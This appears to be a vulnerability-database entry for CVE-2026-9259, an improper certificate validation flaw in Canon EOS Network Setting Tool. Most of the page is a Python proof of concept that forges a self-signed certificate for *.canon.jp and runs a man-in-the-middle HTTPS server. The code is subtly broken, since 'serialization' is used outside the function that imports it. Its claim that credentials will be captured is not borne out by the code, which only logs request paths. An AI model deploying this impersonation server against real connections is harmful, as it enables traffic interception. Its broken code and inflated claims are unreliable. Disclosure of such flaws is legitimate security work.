CVE-2026-9259

Description

Improper validation of server certificates in Canon EOS Network Setting Tool Version 1.5.0 or earlier

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Canon EOS Network Setting Tool <= 1.5.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9259 PoC - Certificate Validation Bypass
# This PoC demonstrates improper certificate validation in Canon EOS Network Setting Tool
# Attack Scenario: Man-in-the-Middle (MITM) Attack

import ssl
import socket
from http.server import HTTPServer, BaseHTTPRequestHandler

class MaliciousProxyHandler(BaseHTTPRequestHandler):
    '''Handler to intercept and modify traffic'''
    
    def do_GET(self):
        # Log intercepted requests
        print(f"[+] Intercepted Request: {self.path}")
        print(f"[+] Source: {self.client_address}")
        
        # Send fake response with attacker-controlled content
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
        response = b"""
        <html>
        <body>
        <h1>Network Configuration Captured</h1>
        <p>Attacker's server successfully intercepted the connection.</p>
        </body>
        </html>
        """
        self.wfile.write(response)

def create_self_signed_cert():
    '''Generate self-signed certificate for MITM attack'''
    from cryptography import x509
    from cryptography.x509.oid import NameOID
    from cryptography.hazmat.primitives import hashes
    from cryptography.hazmat.backends import default_backend
    import datetime
    
    # Generate key pair
    from cryptography.hazmat.primitives.asymmetric import rsa
    from cryptography.hazmat.primitives import serialization
    
    key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    
    # Create self-signed certificate
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
        x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Canon"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"*.canon.jp"),
    ])
    
    cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=365)
    ).add_extension(
        x509.SubjectAlternativeName([
            x509.DNSName(u"*.canon.jp"),
            x509.DNSName(u"canon.jp"),
        ]),
        critical=False,
    ).sign(key, hashes.SHA256(), default_backend())
    
    return cert, key

def start_mitm_proxy(port=8443):
    '''Start MITM proxy server with self-signed certificate'''
    cert, key = create_self_signed_cert()
    
    # Save certificate for use
    with open("attacker_cert.pem", "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))
    with open("attacker_key.pem", "wb") as f:
        f.write(key.private_bytes(
            encoding=serialization.Encoding.PEM,
            format=serialization.PrivateFormat.TraditionalOpenSSL,
            encryption_algorithm=serialization.NoEncryption()
        ))
    
    # Create HTTPS server
    server_address = ('', port)
    httpd = HTTPServer(server_address, MaliciousProxyHandler)
    
    # Wrap with SSL using self-signed certificate
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    context.load_cert_chain("attacker_cert.pem", "attacker_key.pem")
    httpd.socket = context.wrap_socket(httpd.socket, server_side=True)
    
    print(f"[*] MITM Proxy listening on port {port}")
    print(f"[*] Self-signed certificate generated")
    print(f"[*] When Canon EOS Network Setting Tool connects, credentials will be captured")
    httpd.serve_forever()

if __name__ == "__main__":
    print("=" * 60)
    print("CVE-2026-9259 PoC - Canon EOS Network Setting Tool")
    print("Improper Certificate Validation - MITM Attack")
    print("=" * 60)
    start_mitm_proxy()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9259
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9259
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9259/
[4] VulDB https://vuldb.com/cve/CVE-2026-9259
[5] https://canon.jp/support/support-info/260615vulnerability-response
[6] https://psirt.canon/advisory-information/cp2026-005/
[7] https://www.canon-europe.com/support/product-security/
[8] https://www.usa.canon.com/about-us/to-our-customers/cpa2026-005-vulnerability-remediation-for-eos-network-setting-tool

Raw JSON Data

JSON

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